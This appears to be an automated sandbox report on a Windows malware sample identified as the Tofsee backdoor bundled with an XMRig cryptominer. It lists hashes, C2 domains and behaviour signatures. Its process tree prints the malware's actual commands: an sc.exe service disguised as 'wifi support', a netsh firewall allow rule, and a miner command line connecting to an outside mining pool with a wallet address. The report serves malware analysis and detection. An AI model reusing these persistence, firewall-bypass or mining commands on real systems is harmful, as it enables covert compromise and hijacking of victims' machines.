Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    03-05-2023 20:15

General

  • Target

    file.exe

  • Size

    237KB

  • MD5

    5f22cf2b4084eeb86e75a33e469f8618

  • SHA1

    dcae74f903c5bf5ea85d20ff674ebc747eda60dd

  • SHA256

    650b125ce1f1646d33549681d7a1cfc8846f01a94d96d7cf1654cb1499442828

  • SHA512

    2fde1c85438e3e52cbc95def2e245b131dee2f5b8953d872f12adbbfcba835f467b43b482fe26b61d4d7d36615a7271412b5fc646f5b8c0a3cca709b1581a642

  • SSDEEP

    3072:DBGOKty9CLpLgdVLKNIFMae2nsvmPo+kysBmK:NBDgtLgzLoahnseEysZ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1972
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ygjpqrn\
      2⤵
        PID:868
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rhdsnfdl.exe" C:\Windows\SysWOW64\ygjpqrn\
        2⤵
          PID:960
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ygjpqrn binPath= "C:\Windows\SysWOW64\ygjpqrn\rhdsnfdl.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:688
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ygjpqrn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1544
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ygjpqrn
          2⤵
          • Launches sc.exe
          PID:1688
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1164
      • C:\Windows\SysWOW64\ygjpqrn\rhdsnfdl.exe
        C:\Windows\SysWOW64\ygjpqrn\rhdsnfdl.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2012
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1468
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:560

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\rhdsnfdl.exe
        Filesize

        13.9MB

        MD5

        a7725f4528454733b154322ea0541c00

        SHA1

        3d6cde75a49c45b0432dec6745b0f22495ca1246

        SHA256

        748d6eab7529f175b21e8e237a3632ae3da430b5e928db52dd179bffb6c2b0af

        SHA512

        22288669700981b0ce204f5821e4c3cd2fd7510624401c0ea9a387129718174f476c1211168c3bb0935c71b1a52e214cd33e74d3ffe0ae56172885bf8c64987d

      • C:\Windows\SysWOW64\ygjpqrn\rhdsnfdl.exe
        Filesize

        13.9MB

        MD5

        a7725f4528454733b154322ea0541c00

        SHA1

        3d6cde75a49c45b0432dec6745b0f22495ca1246

        SHA256

        748d6eab7529f175b21e8e237a3632ae3da430b5e928db52dd179bffb6c2b0af

        SHA512

        22288669700981b0ce204f5821e4c3cd2fd7510624401c0ea9a387129718174f476c1211168c3bb0935c71b1a52e214cd33e74d3ffe0ae56172885bf8c64987d

      • memory/560-111-0x0000000000240000-0x0000000000331000-memory.dmp
        Filesize

        964KB

      • memory/560-124-0x0000000000240000-0x0000000000331000-memory.dmp
        Filesize

        964KB

      • memory/560-122-0x0000000000240000-0x0000000000331000-memory.dmp
        Filesize

        964KB

      • memory/560-123-0x0000000000240000-0x0000000000331000-memory.dmp
        Filesize

        964KB

      • memory/560-121-0x0000000000240000-0x0000000000331000-memory.dmp
        Filesize

        964KB

      • memory/560-120-0x0000000000240000-0x0000000000331000-memory.dmp
        Filesize

        964KB

      • memory/560-119-0x0000000000240000-0x0000000000331000-memory.dmp
        Filesize

        964KB

      • memory/560-112-0x0000000000240000-0x0000000000331000-memory.dmp
        Filesize

        964KB

      • memory/1468-88-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-92-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-75-0x0000000000080000-0x0000000000086000-memory.dmp
        Filesize

        24KB

      • memory/1468-74-0x0000000001900000-0x0000000001B0F000-memory.dmp
        Filesize

        2.1MB

      • memory/1468-78-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-81-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-82-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-83-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-84-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-85-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-86-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-87-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-61-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/1468-89-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-90-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-91-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-93-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-71-0x0000000001900000-0x0000000001B0F000-memory.dmp
        Filesize

        2.1MB

      • memory/1468-94-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-95-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-96-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-97-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1468-98-0x0000000000280000-0x0000000000285000-memory.dmp
        Filesize

        20KB

      • memory/1468-101-0x0000000000280000-0x0000000000285000-memory.dmp
        Filesize

        20KB

      • memory/1468-102-0x0000000005550000-0x000000000595B000-memory.dmp
        Filesize

        4.0MB

      • memory/1468-105-0x0000000005550000-0x000000000595B000-memory.dmp
        Filesize

        4.0MB

      • memory/1468-106-0x0000000000300000-0x0000000000307000-memory.dmp
        Filesize

        28KB

      • memory/1468-110-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/1468-69-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/1468-68-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/1468-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/1468-67-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/1468-63-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/1972-56-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/1972-59-0x0000000000400000-0x00000000006BD000-memory.dmp
        Filesize

        2.7MB

      • memory/2012-65-0x0000000000400000-0x00000000006BD000-memory.dmp
        Filesize

        2.7MB